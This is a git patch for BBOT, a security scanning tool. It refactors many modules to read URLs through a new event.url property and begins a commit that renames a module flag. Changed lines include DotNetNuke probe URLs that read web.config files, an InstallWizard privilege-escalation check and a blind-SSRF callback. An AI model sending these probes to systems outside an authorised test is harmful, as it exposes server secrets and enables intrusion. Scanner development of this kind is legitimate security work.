bbot/modules/internal/speculate.py | 5 +-- bbot/modules/lightfuzz/lightfuzz.py | 10 +++--- bbot/modules/lightfuzz/submodules/base.py | 12 ++++---- bbot/modules/lightfuzz/submodules/cmdi.py | 4 +-- bbot/modules/lightfuzz/submodules/crypto.py | 2 +- bbot/modules/lightfuzz/submodules/sqli.py | 2 +- bbot/modules/newsletters.py | 2 +- bbot/modules/ntlm.py | 5 +-- bbot/modules/output/asset_inventory.py | 2 +- bbot/modules/paramminer_headers.py | 6 ++-- bbot/modules/postman_download.py | 2 +- bbot/modules/reflected_parameters.py | 4 +-- bbot/modules/retirejs.py | 2 +- bbot/modules/telerik.py | 4 +-- bbot/modules/templates/bucket.py | 2 +- bbot/modules/templates/gitlab.py | 2 +- bbot/modules/trajan.py | 4 +-- bbot/modules/trufflehog.py | 4 +-- bbot/modules/wpscan.py | 2 +- 34 files changed, 83 insertions(+), 84 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 4082cc7d8c..53ea0deebf 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -367,6 +367,13 @@ def host_original(self): return self.host return self._host_original + @property + def url(self): + parsed_url = getattr(self, "parsed_url", None) + if parsed_url is not None: + return parsed_url.geturl() + return "" + @property def host_filterable(self): """ @@ -1443,6 +1450,7 @@ def children(self): return children def sanitize_data(self, data): + data = super().sanitize_data(data) original_value = data.get("original_value", None) if original_value is not None: try: diff --git a/bbot/modules/ajaxpro.py b/bbot/modules/ajaxpro.py index 4fd8703731..bbe7abf699 100644 --- a/bbot/modules/ajaxpro.py +++ b/bbot/modules/ajaxpro.py @@ -45,7 +45,7 @@ async def check_http_response_event(self, event): await self.confirm_exploitability(ajaxpro_path, event) async def emit_technology(self, event, detection_url): - url = event.data if event.type == "URL" else event.data["url"] + url = event.url await self.emit_event( { "host": str(event.host), @@ -82,7 +82,7 @@ async def confirm_exploitability(self, detection_url, event): "cves": ["CVE-2021-23758"], "severity": "CRITICAL", "confidence": "HIGH", - "url": event.data if event.type == "URL" else event.data["url"], + "url": event.url, "description": f"Ajaxpro Deserialization RCE (CVE-2021-23758) Trigger: [{full_url}]", }, "FINDING", diff --git a/bbot/modules/badsecrets.py b/bbot/modules/badsecrets.py index a7739a28e0..f11aed8d87 100644 --- a/bbot/modules/badsecrets.py +++ b/bbot/modules/badsecrets.py @@ -58,7 +58,7 @@ async def handle_event(self, event): body=resp_body, headers=resp_headers, cookies=resp_cookies, - url=event.data.get("url", None), + url=event.url or None, custom_resource=self.custom_secrets, ) except Exception as e: @@ -71,7 +71,7 @@ async def handle_event(self, event): "severity": r["description"]["severity"], "name": "BadSecrets - Known Secret", "description": f"Known Secret Found. Secret Type: [{r['description']['secret']}] Secret: [{r['secret']}] Product Type: [{r['description']['product']}] Product: [{self.helpers.truncate_string(r['product'], 2000)}] Detecting Module: [{r['detecting_module']}] Details: [{r['details']}]", - "url": event.data["url"], + "url": event.url, "host": str(event.host), "confidence": "CONFIRMED", } @@ -90,7 +90,7 @@ async def handle_event(self, event): if r["detecting_module"] in ("ASPNET_Viewstate", "ASPNET_Resource"): technology = "microsoft asp.net" await self.emit_event( - {"technology": technology, "url": event.data["url"], "host": str(event.host)}, + {"technology": technology, "url": event.url, "host": str(event.host)}, "TECHNOLOGY", event, context=f"{{module}} identified {{event.type}}: {technology}", @@ -99,7 +99,7 @@ async def handle_event(self, event): data = { "name": "BadSecrets - Cryptographic Product", "description": f"Cryptographic Product identified. Product Type: [{r['description']['product']}] Product: [{self.helpers.truncate_string(r['product'], 2000)}] Detecting Module: [{r['detecting_module']}]", - "url": event.data["url"], + "url": event.url, "host": str(event.host), "severity": "INFO", "confidence": "CONFIRMED", diff --git a/bbot/modules/bucket_file_enum.py b/bbot/modules/bucket_file_enum.py index 6bf379258c..84761c0ba1 100644 --- a/bbot/modules/bucket_file_enum.py +++ b/bbot/modules/bucket_file_enum.py @@ -33,7 +33,7 @@ async def handle_event(self, event): await self.handle_aws(event) async def handle_aws(self, event): - url = event.data["url"] + url = event.url urls_emitted = 0 response = await self.helpers.request(url) status_code = getattr(response, "status_code", 0) diff --git a/bbot/modules/docker_pull.py b/bbot/modules/docker_pull.py index 9e6f5073b0..e021515bee 100644 --- a/bbot/modules/docker_pull.py +++ b/bbot/modules/docker_pull.py @@ -49,7 +49,7 @@ async def filter_event(self, event): return True async def handle_event(self, event): - repo_url = event.data.get("url") + repo_url = event.url repo_path = await self.download_docker_repo(repo_url) if repo_path: self.verbose(f"Downloaded docker repository {repo_url} to {repo_path}") diff --git a/bbot/modules/dotnetnuke.py b/bbot/modules/dotnetnuke.py index 867d76e774..dcd6cc2794 100644 --- a/bbot/modules/dotnetnuke.py +++ b/bbot/modules/dotnetnuke.py @@ -47,7 +47,7 @@ async def interactsh_callback(self, r): event = self.interactsh_subdomain_tags.get(full_id.split(".")[0]) if not event: return - url = event.data["url"] + url = event.url description = "DotNetNuke Blind-SSRF (CVE 2017-0929)" await self.emit_event( { @@ -74,7 +74,7 @@ async def handle_event(self, event): if raw_headers: for header_signature in self.DNN_signatures_header: if header_signature in raw_headers: - url = event.data["url"] + url = event.url await self.emit_event( {"technology": "DotNetNuke", "url": url, "host": str(event.host)}, "TECHNOLOGY", @@ -88,17 +88,17 @@ async def handle_event(self, event): for body_signature in self.DNN_signatures_body: if body_signature in resp_body: await self.emit_event( - {"technology": "DotNetNuke", "url": event.data["url"], "host": str(event.host)}, + {"technology": "DotNetNuke", "url": event.url, "host": str(event.host)}, "TECHNOLOGY", event, - context=f"{{module}} scanned {event.data['url']} and found {{event.type}}: DotNetNuke", + context=f"{{module}} scanned {event.url} and found {{event.type}}: DotNetNuke", ) detected = True break if detected is True: # DNNPersonalization Deserialization Detection - for probe_url in [f"{event.data['url']}/__", f"{event.data['url']}/", f"{event.data['url']}"]: + for probe_url in [f"{event.url}/__", f"{event.url}/", f"{event.url}"]: result = await self.helpers.request(probe_url, cookies=self.exploit_probe) if result: if "for 16-bit app support" in result.text and "[extensions]" in result.text: @@ -120,7 +120,7 @@ async def handle_event(self, event): if "endpoint" not in event.tags: # NewsArticlesSlider ImageHandler.ashx File Read result = await self.helpers.request( - f"{event.data['url']}/DesktopModules/dnnUI_NewsArticlesSlider/ImageHandler.ashx?img=~/web.config" + f"{event.url}/DesktopModules/dnnUI_NewsArticlesSlider/ImageHandler.ashx?img=~/web.config" ) if result: if "" in result.text: @@ -132,16 +132,16 @@ async def handle_event(self, event): "description": description, "name": "DotNetNuke Arbitrary File Read", "host": str(event.host), - "url": f"{event.data['url']}/DesktopModules/dnnUI_NewsArticlesSlider/ImageHandler.ashx", + "url": f"{event.url}/DesktopModules/dnnUI_NewsArticlesSlider/ImageHandler.ashx", }, "FINDING", event, - context=f"{{module}} scanned {event.data['url']} and found critical {{event.type}}: {description}", + context=f"{{module}} scanned {event.url} and found critical {{event.type}}: {description}", ) # DNNArticle GetCSS.ashx File Read result = await self.helpers.request( - f"{event.data['url']}/DesktopModules/DNNArticle/getcss.ashx?CP=%2fweb.config&smid=512&portalid=3" + f"{event.url}/DesktopModules/DNNArticle/getcss.ashx?CP=%2fweb.config&smid=512&portalid=3" ) if result: if "" in result.text: @@ -153,19 +153,19 @@ async def handle_event(self, event): "description": description, "name": "DotNetNuke Arbitrary File Read", "host": str(event.host), - "url": f"{event.data['url']}/Desktopmodules/DNNArticle/GetCSS.ashx/?CP=%2fweb.config", + "url": f"{event.url}/Desktopmodules/DNNArticle/GetCSS.ashx/?CP=%2fweb.config", }, "FINDING", event, - context=f"{{module}} scanned {event.data['url']} and found critical {{event.type}}: {description}", + context=f"{{module}} scanned {event.url} and found critical {{event.type}}: {description}", ) # InstallWizard SuperUser Privilege Escalation - result = await self.helpers.request(f"{event.data['url']}/Install/InstallWizard.aspx") + result = await self.helpers.request(f"{event.url}/Install/InstallWizard.aspx") if result: if result.status_code == 200: result_confirm = await self.helpers.request( - f"{event.data['url']}/Install/InstallWizard.aspx?__viewstate=1" + f"{event.url}/Install/InstallWizard.aspx?__viewstate=1" ) if result_confirm.status_code == 500: description = "DotNetNuke InstallWizard SuperUser Privilege Escalation" @@ -176,22 +176,22 @@ async def handle_event(self, event): "description": description, "name": "DotNetNuke Privilege Escalation", "host": str(event.host), - "url": f"{event.data['url']}/Install/InstallWizard.aspx", + "url": f"{event.url}/Install/InstallWizard.aspx", }, "FINDING", event, - context=f"{{module}} scanned {event.data['url']} and found critical {{event.type}}: {description}", + context=f"{{module}} scanned {event.url} and found critical {{event.type}}: {description}", ) return # DNNImageHandler.ashx Blind SSRF - self.event_dict[event.data["url"]] = event + self.event_dict[event.url] = event if self.interactsh_instance: subdomain_tag = self.helpers.rand_string(4, digits=False) self.interactsh_subdomain_tags[subdomain_tag] = event await self.helpers.request( - f"{event.data['url']}/DnnImageHandler.ashx?mode=file&url=http://{subdomain_tag}.{self.interactsh_domain}" + f"{event.url}/DnnImageHandler.ashx?mode=file&url=http://{subdomain_tag}.{self.interactsh_domain}" ) else: self.debug( diff --git a/bbot/modules/filedownload.py b/bbot/modules/filedownload.py index 58bc10c54b..ad090798c6 100644 --- a/bbot/modules/filedownload.py +++ b/bbot/modules/filedownload.py @@ -131,9 +131,7 @@ async def filter_event(self, event): return True def hash_event(self, event): - if event.type == "HTTP_RESPONSE": - return hash(event.data["url"]) - return hash(event.data) + return hash(event.url or event.data) async def handle_event(self, event): if event.type == "URL_UNVERIFIED": @@ -146,7 +144,7 @@ async def handle_event(self, event): headers = event.data.get("header", {}) content_type = headers.get("content_type", "") if content_type: - url = event.data["url"] + url = event.url await self.download_file(url, content_type=content_type, source_event=event) async def download_file(self, url, content_type=None, source_event=None): diff --git a/bbot/modules/git_clone.py b/bbot/modules/git_clone.py index ab9fd0ec97..7ebd86bf5a 100644 --- a/bbot/modules/git_clone.py +++ b/bbot/modules/git_clone.py @@ -34,7 +34,7 @@ async def filter_event(self, event): return True async def handle_event(self, event): - repository_url = event.data.get("url") + repository_url = event.url repository_path = await self.clone_git_repository(repository_url) if repository_path: self.verbose(f"Cloned {repository_url} to {repository_path}") diff --git a/bbot/modules/gitdumper.py b/bbot/modules/gitdumper.py index 6572dca200..cd69f18a1e 100644 --- a/bbot/modules/gitdumper.py +++ b/bbot/modules/gitdumper.py @@ -114,7 +114,7 @@ async def filter_event(self, event): return True async def handle_event(self, event): - repo_url = event.data.get("url") + repo_url = event.url self.info(f"Processing leaked .git directory at {repo_url}") repo_folder = self.output_dir / self.helpers.tagify(repo_url) self.helpers.mkdir(repo_folder) diff --git a/bbot/modules/github_workflows.py b/bbot/modules/github_workflows.py index 215528bf29..c9b0d84e3b 100644 --- a/bbot/modules/github_workflows.py +++ b/bbot/modules/github_workflows.py @@ -44,12 +44,12 @@ def _api_response_is_success(self, r): async def filter_event(self, event): if "git" not in event.tags: return False, "event is not a git repository" - elif "github.com" not in event.data.get("url", ""): + elif "github.com" not in event.url: return False, "event is not a github repository" return True async def handle_event(self, event): - repo_url = event.data.get("url") + repo_url = event.url owner = repo_url.split("/")[-2] repo = repo_url.split("/")[-1] for workflow in await self.get_workflows(owner, repo): diff --git a/bbot/modules/google_playstore.py b/bbot/modules/google_playstore.py index 96cc15fbdd..41a370396b 100644 --- a/bbot/modules/google_playstore.py +++ b/bbot/modules/google_playstore.py @@ -30,7 +30,7 @@ async def handle_event(self, event): await self.handle_org_stub(event) async def handle_url(self, event): - repo_url = event.data.get("url") + repo_url = event.url app_id = repo_url.split("id=")[1].split("&")[0] await self.emit_event( {"id": app_id, "url": repo_url}, diff --git a/bbot/modules/gowitness.py b/bbot/modules/gowitness.py index ffed55430c..c40b562c3b 100644 --- a/bbot/modules/gowitness.py +++ b/bbot/modules/gowitness.py @@ -158,7 +158,7 @@ async def handle_batch(self, *events): for e in events: key = e.data if e.type == "SOCIAL": - key = e.data["url"] + key = e.url event_dict[key] = e stdin = "\n".join(list(event_dict)) diff --git a/bbot/modules/host_header.py b/bbot/modules/host_header.py index 0ab8da6fa1..99205aee3e 100644 --- a/bbot/modules/host_header.py +++ b/bbot/modules/host_header.py @@ -48,7 +48,7 @@ async def interactsh_callback(self, r): await self.emit_event( { "host": str(matched_event.host), - "url": matched_event.data["url"], + "url": matched_event.url, "name": "Host Header Spoofing", "description": f"Spoofed Host header ({matched_technique}) [{protocol}] interaction", "severity": "MEDIUM", @@ -83,7 +83,7 @@ async def cleanup(self): async def handle_event(self, event): # get any set-cookie responses from the response and add them to the request - url = event.data["url"] + url = event.url added_cookies = {} @@ -151,7 +151,7 @@ async def handle_event(self, event): }, "FINDING", event, - context=f"{{module}} scanned {event.data['url']} and identified {{event.type}}: {description}", + context=f"{{module}} scanned {event.url} and identified {{event.type}}: {description}", ) # host header overrides diff --git a/bbot/modules/hunt.py b/bbot/modules/hunt.py index a2112c3ce2..644406ec2f 100644 --- a/bbot/modules/hunt.py +++ b/bbot/modules/hunt.py @@ -319,7 +319,6 @@ async def handle_event(self, event): "severity": "INFO", "confidence": "LOW", } - url = event.data.get("url", "") - if url: - data["url"] = url + if event.url: + data["url"] = event.url await self.emit_event(data, "FINDING", event) diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 455d5ad463..f66dae3269 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -1125,7 +1125,7 @@ async def search(self, data, event, content_type, discovery_context="HTTP respon param_type="SPECULATIVE", name=parameter_name, original_value=original_value, - url=str(event.data["url"]), + url=event.url, description=f"HTTP Extracted Parameter (speculative from {source_type} content) [{parameter_name}]", additional_params={}, event=event, @@ -1280,7 +1280,7 @@ async def handle_event(self, event, **kwargs): # which extracts readable text and feeds it back to excavate as a RAW_TEXT event (handled separately below). # TODO: remove this in favor of a proper categorization system for text vs non-text (i.e. to-be-extracted) content if content_type and "application/pdf" in content_type.lower(): - self.debug(f"Skipping PDF response: {event.data.get('url', 'unknown')}") + self.debug(f"Skipping PDF response: {event.url or 'unknown'}") return await self.search( diff --git a/bbot/modules/internal/speculate.py b/bbot/modules/internal/speculate.py index 2ad27f1967..bb59a7cd8b 100644 --- a/bbot/modules/internal/speculate.py +++ b/bbot/modules/internal/speculate.py @@ -157,10 +157,7 @@ async def handle_event(self, event): event_has_url = isinstance(event.data, dict) and "url" in event.data event_tags = ["httpx-safe"] if event.type in ("CODE_REPOSITORY", "SOCIAL") else [] if event_is_url or event_has_url: - if event_is_url: - url = event.data - else: - url = event.data["url"] + url = event.url # only emit the url if it's not already in the event's history if not any(e.type == "URL_UNVERIFIED" and e.data == url for e in event.get_parents()): await self.emit_event( diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index 0473d1af3e..30cc08fc33 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -93,7 +93,7 @@ async def interactsh_callback(self, r): "severity": severity, "confidence": confidence, "host": str(details["event"].host), - "url": details["event"].data["url"], + "url": details["event"].url, "name": f"Lightfuzz - {details['name']}", "description": description, }, @@ -109,7 +109,7 @@ def _outgoing_dedup_hash(self, event): ( "lightfuzz", str(event.host), - event.data["url"], + event.url, event.data["description"], event.data.get("type", ""), event.data.get("name", ""), @@ -123,7 +123,7 @@ async def run_submodule(self, submodule, event): for r in submodule_instance.results: event_data = { "host": str(event.host), - "url": event.data["url"], + "url": event.url, "name": r["name"], "description": r["description"], } @@ -163,7 +163,7 @@ async def handle_event(self, event): elif event.type == "WEB_PARAMETER": # check connectivity to url - connectivity_test = await self.helpers.request(event.data["url"], timeout=10) + connectivity_test = await self.helpers.request(event.url, timeout=10) if connectivity_test: original_type = event.data["type"] @@ -190,7 +190,7 @@ async def handle_event(self, event): self.debug(f"Starting {submodule_name} fuzz() (try_get_as_post)") await self.run_submodule(submodule, event) else: - self.debug(f"WEB_PARAMETER URL {event.data['url']} failed connectivity test, aborting") + self.debug(f"WEB_PARAMETER URL {event.url} failed connectivity test, aborting") async def cleanup(self): if self.interactsh_instance: diff --git a/bbot/modules/lightfuzz/submodules/base.py b/bbot/modules/lightfuzz/submodules/base.py index c05dfa36ad..d5730aee30 100644 --- a/bbot/modules/lightfuzz/submodules/base.py +++ b/bbot/modules/lightfuzz/submodules/base.py @@ -65,7 +65,7 @@ def conditional_urlencode(self, probe, event_type, skip_urlencoding=False): def build_query_string(self, probe, parameter_name, additional_params=None): """Constructs a URL with query parameters from the given probe and additional parameters.""" - url = f"{self.event.data['url']}?{parameter_name}={probe}" + url = f"{self.event.url}?{parameter_name}={probe}" if additional_params: url = self.lightfuzz.helpers.add_get_params(url, additional_params, encode=False).geturl() return url @@ -106,19 +106,19 @@ def prepare_request( return {"method": "GET", "cookies": cookies, "url": url} elif event_type == "COOKIE": cookies_probe = {parameter_name: probe} - return {"method": "GET", "cookies": {**cookies, **cookies_probe}, "url": self.event.data["url"]} + return {"method": "GET", "cookies": {**cookies, **cookies_probe}, "url": self.event.url} elif event_type == "HEADER": headers = {parameter_name: probe} - return {"method": "GET", "headers": headers, "cookies": cookies, "url": self.event.data["url"]} + return {"method": "GET", "headers": headers, "cookies": cookies, "url": self.event.url} elif event_type in ["POSTPARAM", "BODYJSON"]: # Prepare data for POSTPARAM and BODYJSON event types data = {parameter_name: probe} if additional_params: data.update(additional_params) if event_type == "BODYJSON": - return {"method": "POST", "json": data, "cookies": cookies, "url": self.event.data["url"]} + return {"method": "POST", "json": data, "cookies": cookies, "url": self.event.url} else: - return {"method": "POST", "data": data, "cookies": cookies, "url": self.event.data["url"]} + return {"method": "POST", "data": data, "cookies": cookies, "url": self.event.url} def compare_baseline( self, @@ -167,7 +167,7 @@ async def baseline_probe(self, cookies): return await self.lightfuzz.helpers.request( method=method, cookies=cookies, - url=self.event.data.get("url"), + url=self.event.url, allow_redirects=False, retries=1, timeout=10, diff --git a/bbot/modules/lightfuzz/submodules/cmdi.py b/bbot/modules/lightfuzz/submodules/cmdi.py index 18d21a3e80..dcc3d3a481 100644 --- a/bbot/modules/lightfuzz/submodules/cmdi.py +++ b/bbot/modules/lightfuzz/submodules/cmdi.py @@ -64,7 +64,7 @@ async def fuzz(self): self.debug(f"canary [{canary}] found in response when sending probe [{p}]") if p == "AAAA": # Handle detection false positive probe self.warning( - f"False Postive Probe appears to have been triggered for {self.event.data['url']}, aborting remaining detection" + f"False Postive Probe appears to have been triggered for {self.event.url}, aborting remaining detection" ) return positive_detections.append(p) # Add detected probes to positive detections @@ -83,7 +83,7 @@ async def fuzz(self): # Blind OS Command Injection if self.lightfuzz.interactsh_instance: - self.lightfuzz.event_dict[self.event.data["url"]] = self.event # Store the event associated with the URL + self.lightfuzz.event_dict[self.event.url] = self.event # Store the event associated with the URL for p in cmdi_probe_strings: # generate a random subdomain tag and associate it with the event, type, name, and probe subdomain_tag = self.lightfuzz.helpers.rand_string(4, digits=False) diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index ed1eb4dfdb..b91069a736 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -409,7 +409,7 @@ async def fuzz(self): # obtain the baseline probe to compare against baseline_probe = await self.baseline_probe(cookies) if not baseline_probe: - self.verbose(f"Couldn't get baseline_probe for url {self.event.data['url']}, aborting") + self.verbose(f"Couldn't get baseline_probe for url {self.event.url}, aborting") return # perform the manipulation techniques diff --git a/bbot/modules/lightfuzz/submodules/sqli.py b/bbot/modules/lightfuzz/submodules/sqli.py index a10adc4846..4d2633f34f 100644 --- a/bbot/modules/lightfuzz/submodules/sqli.py +++ b/bbot/modules/lightfuzz/submodules/sqli.py @@ -175,7 +175,7 @@ async def fuzz(self): ): # decide if the delay is within the detection threshold and constitutes a successful sleep execution confirmations += 1 self.debug( - f"{self.event.data['url']}:{self.event.data['name']}:{self.event.data['type']} Increasing confirmations, now: {str(confirmations)} " + f"{self.event.url}:{self.event.data['name']}:{self.event.data['type']} Increasing confirmations, now: {str(confirmations)} " ) else: break diff --git a/bbot/modules/newsletters.py b/bbot/modules/newsletters.py index 1c3ccd3c8f..c49cf12235 100644 --- a/bbot/modules/newsletters.py +++ b/bbot/modules/newsletters.py @@ -54,7 +54,7 @@ async def handle_event(self, event): data = { "host": str(_event.host), "description": description, - "url": _event.data["url"], + "url": _event.url, "name": "Newsletter Submission Form", "severity": "INFO", "confidence": "LOW", diff --git a/bbot/modules/ntlm.py b/bbot/modules/ntlm.py index d09e2aae12..3a1feb2e3b 100644 --- a/bbot/modules/ntlm.py +++ b/bbot/modules/ntlm.py @@ -86,10 +86,7 @@ async def setup(self): async def handle_event(self, event): found_hash = hash(f"{event.host}:{event.port}") - if event.type == "URL": - url = event.data - else: - url = event.data["url"] + url = event.url if found_hash in self.found: return diff --git a/bbot/modules/output/asset_inventory.py b/bbot/modules/output/asset_inventory.py index 9a2364e3b9..1ac78bc788 100644 --- a/bbot/modules/output/asset_inventory.py +++ b/bbot/modules/output/asset_inventory.py @@ -313,7 +313,7 @@ def absorb_event(self, event): self.ports.add(str(event.port)) if event.type == "FINDING": - location = event.data.get("url", event.data.get("host", "")) + location = event.url or event.data.get("host", "") if location: self.findings.add( f"{location}:{event.data['description']}:Severity: {event.data['severity']} Confidence: {event.data['confidence']}" diff --git a/bbot/modules/paramminer_headers.py b/bbot/modules/paramminer_headers.py index 66a8e85c71..8be8c066f2 100644 --- a/bbot/modules/paramminer_headers.py +++ b/bbot/modules/paramminer_headers.py @@ -132,7 +132,7 @@ async def do_mining(self, wl, url, batch_size, compare_helper): return results async def process_results(self, event, results): - url = event.data.get("url") + url = event.url for result, reasons, reflection in results: paramtype = self.compare_mode.upper() if paramtype == "HEADER": @@ -173,7 +173,7 @@ async def handle_event(self, event): self.extracted_words_master.add(parameter_name) elif event.type == "HTTP_RESPONSE": - url = event.data.get("url") + url = event.url try: compare_helper = self.helpers.http_compare(url) except HttpCompareError as e: @@ -264,7 +264,7 @@ async def finish(self): async def filter_event(self, event): # Filter out static endpoints - if event.data.get("url").endswith(tuple(f".{ext}" for ext in self.config.get("url_extension_static", []))): + if event.url.endswith(tuple(f".{ext}" for ext in self.config.get("url_extension_static", []))): return False # We don't need to look at WEB_PARAMETERS that we produced diff --git a/bbot/modules/postman_download.py b/bbot/modules/postman_download.py index b2f264aeba..92e43a26c9 100644 --- a/bbot/modules/postman_download.py +++ b/bbot/modules/postman_download.py @@ -36,7 +36,7 @@ async def filter_event(self, event): return True async def handle_event(self, event): - repo_url = event.data.get("url") + repo_url = event.url workspace_id = await self.get_workspace_id(repo_url) if workspace_id: self.verbose(f"Found workspace ID {workspace_id} for {repo_url}") diff --git a/bbot/modules/reflected_parameters.py b/bbot/modules/reflected_parameters.py index 8affe9c752..a6b051ec8b 100644 --- a/bbot/modules/reflected_parameters.py +++ b/bbot/modules/reflected_parameters.py @@ -12,7 +12,7 @@ class reflected_parameters(BaseModule): } async def handle_event(self, event): - url = event.data.get("url") + url = event.url reflection_detected = await self.detect_reflection(event, url) if reflection_detected: @@ -58,7 +58,7 @@ async def detect_reflection(self, event, url): async def send_probe_with_canary(self, event, parameter_name, parameter_value, canary_value, cookies, timeout=10): method = "GET" - url = event.data["url"] + url = event.url headers = {} data = None json_data = None diff --git a/bbot/modules/retirejs.py b/bbot/modules/retirejs.py index bb310d8c48..f4ef1e7546 100644 --- a/bbot/modules/retirejs.py +++ b/bbot/modules/retirejs.py @@ -188,7 +188,7 @@ async def handle_event(self, event): "severity": severity, "confidence": "HIGH", "component": component, - "url": event.parent.data["url"], + "url": event.parent.url, } await self.emit_event( data, diff --git a/bbot/modules/telerik.py b/bbot/modules/telerik.py index 6636235f55..18673342cb 100644 --- a/bbot/modules/telerik.py +++ b/bbot/modules/telerik.py @@ -190,7 +190,7 @@ def _incoming_dedup_hash(self, event): else: return hash(f"{event.type}{event.netloc}") else: # HTTP_RESPONSE - return hash(f"{event.type}{event.data['url']}") + return hash(f"{event.type}{event.url}") async def handle_event(self, event): if event.type == "URL": @@ -380,7 +380,7 @@ async def handle_event(self, event): elif event.type == "HTTP_RESPONSE": resp_body = event.data.get("body", None) - url = event.data["url"] + url = event.url if resp_body: if '":{"SerializedParameters":"' in resp_body: await self.emit_event( diff --git a/bbot/modules/templates/bucket.py b/bbot/modules/templates/bucket.py index 80a5c71b85..6dc343e4aa 100644 --- a/bbot/modules/templates/bucket.py +++ b/bbot/modules/templates/bucket.py @@ -71,7 +71,7 @@ async def handle_dns_name(self, event): ) async def handle_storage_bucket(self, event): - url = event.data["url"] + url = event.url bucket_name = event.data["name"] if self.supports_open_check: description, tags = await self._check_bucket_open(bucket_name, url) diff --git a/bbot/modules/templates/gitlab.py b/bbot/modules/templates/gitlab.py index 4b8605955f..d53ac12596 100644 --- a/bbot/modules/templates/gitlab.py +++ b/bbot/modules/templates/gitlab.py @@ -92,7 +92,7 @@ async def handle_namespace(self, namespace, event): # Utility helpers # ------------------------------------------------------------------ def get_base_url(self, event): - base_url = event.data.get("url", "") + base_url = event.url if not base_url: base_url = f"https://{event.host}" return self.helpers.urlparse(base_url)._replace(path="/").geturl() diff --git a/bbot/modules/trajan.py b/bbot/modules/trajan.py index 7972811846..a9ee8c7be6 100644 --- a/bbot/modules/trajan.py +++ b/bbot/modules/trajan.py @@ -116,7 +116,7 @@ async def filter_event(self, event): tech = event.data.get("technology", "").lower() if tech not in self.technology_platforms: return False, f"technology '{tech}' is not supported by trajan" - if not event.data.get("url"): + if not event.url: return False, "TECHNOLOGY event has no URL" platform = self._get_platform(event) @@ -133,7 +133,7 @@ async def handle_event(self, event): async def handle_technology(self, event): tech = event.data.get("technology", "").lower() platform = self.detect_platform_from_technology(tech) - url = event.data.get("url", "") + url = event.url parsed = urlparse(url) base_url = f"{parsed.scheme}://{parsed.netloc}" path_parts = [p for p in parsed.path.strip("/").split("/") if p] diff --git a/bbot/modules/trufflehog.py b/bbot/modules/trufflehog.py index e211c528c3..33f652d12a 100644 --- a/bbot/modules/trufflehog.py +++ b/bbot/modules/trufflehog.py @@ -75,7 +75,7 @@ async def filter_event(self, event): if self.deleted_forks: if "git" not in event.tags: return False, "Module only accepts git CODE_REPOSITORY events" - if "github" not in event.data["url"]: + if "github" not in event.url: return False, "Module only accepts github CODE_REPOSITORY events" else: return False, "Deleted forks is not enabled" @@ -90,7 +90,7 @@ async def handle_event(self, event): description = event.data.get("description", "") if event.type == "CODE_REPOSITORY": - path = event.data["url"] + path = event.url module = "github-experimental" elif event.type == "FILESYSTEM": path = event.data["path"] diff --git a/bbot/modules/wpscan.py b/bbot/modules/wpscan.py index 1b70cd2a15..8db905b2a8 100644 --- a/bbot/modules/wpscan.py +++ b/bbot/modules/wpscan.py @@ -292,7 +292,7 @@ def vulnerability_to_s(self, vuln_json): return " ".join(string) def get_base_url(self, event): - base_url = event.data.get("url", "") + base_url = event.url if not base_url: base_url = f"https://{event.host}" return self.helpers.urlparse(base_url)._replace(path="/").geturl() From bc06f1424322899848d31dd235d8c78036caa497 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 14:52:14 -0400 Subject: [PATCH 358/912] =?UTF-8?q?Rename=20noisy=E2=86=92loud,=20restore?= =?UTF-8?q?=20safe=20flag=20with=20test=20enforcement?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Rename "noisy" flag to "loud" across all modules, cli, tests, docs - Restore "safe" flag — explicitly added to every module that isn't loud or invasive (130 modules) - Add test: every scan module must have safe, loud, and/or invasive; safe is mutually exclusive with loud/invasive - Regenerate docs tables --- AGENTS.md | 5 +- bbot/cli.py | 12 +- bbot/core/flags.py | 3 +- bbot/modules/ajaxpro.py | 2 +- bbot/modules/anubisdb.py | 2 +- bbot/modules/apkpure.py | 2 +- bbot/modules/aspnet_bin_exposure.py | 2 +- bbot/modules/azure_tenant.py | 2 +- bbot/modules/baddns.py | 2 +- bbot/modules/baddns_direct.py | 2 +- bbot/modules/baddns_zone.py | 2 +- bbot/modules/badsecrets.py | 2 +- bbot/modules/bevigil.py | 2 +- bbot/modules/bucket_amazon.py | 2 +- bbot/modules/bucket_digitalocean.py | 2 +- bbot/modules/bucket_file_enum.py | 2 +- bbot/modules/bucket_firebase.py | 2 +- bbot/modules/bucket_google.py | 2 +- bbot/modules/bucket_microsoft.py | 2 +- bbot/modules/bufferoverrun.py | 2 +- bbot/modules/builtwith.py | 2 +- bbot/modules/bypass403.py | 2 +- bbot/modules/c99.py | 2 +- bbot/modules/censys_dns.py | 2 +- bbot/modules/censys_ip.py | 2 +- bbot/modules/certspotter.py | 2 +- bbot/modules/chaos.py | 2 +- bbot/modules/code_repository.py | 2 +- bbot/modules/credshed.py | 2 +- bbot/modules/crt.py | 2 +- bbot/modules/crt_db.py | 2 +- bbot/modules/dehashed.py | 2 +- bbot/modules/digitorus.py | 2 +- bbot/modules/dnsbimi.py | 2 +- bbot/modules/dnsbrute.py | 2 +- bbot/modules/dnsbrute_mutations.py | 2 +- bbot/modules/dnscaa.py | 2 +- bbot/modules/dnscommonsrv.py | 2 +- bbot/modules/dnsdumpster.py | 2 +- bbot/modules/dnstlsrpt.py | 2 +- bbot/modules/docker_pull.py | 2 +- bbot/modules/dockerhub.py | 2 +- bbot/modules/dotnetnuke.py | 2 +- bbot/modules/emailformat.py | 2 +- bbot/modules/ffuf.py | 2 +- bbot/modules/ffuf_shortnames.py | 2 +- bbot/modules/filedownload.py | 2 +- bbot/modules/fingerprintx.py | 2 +- bbot/modules/fullhunt.py | 2 +- bbot/modules/git.py | 2 +- bbot/modules/git_clone.py | 2 +- bbot/modules/gitdumper.py | 2 +- bbot/modules/github_codesearch.py | 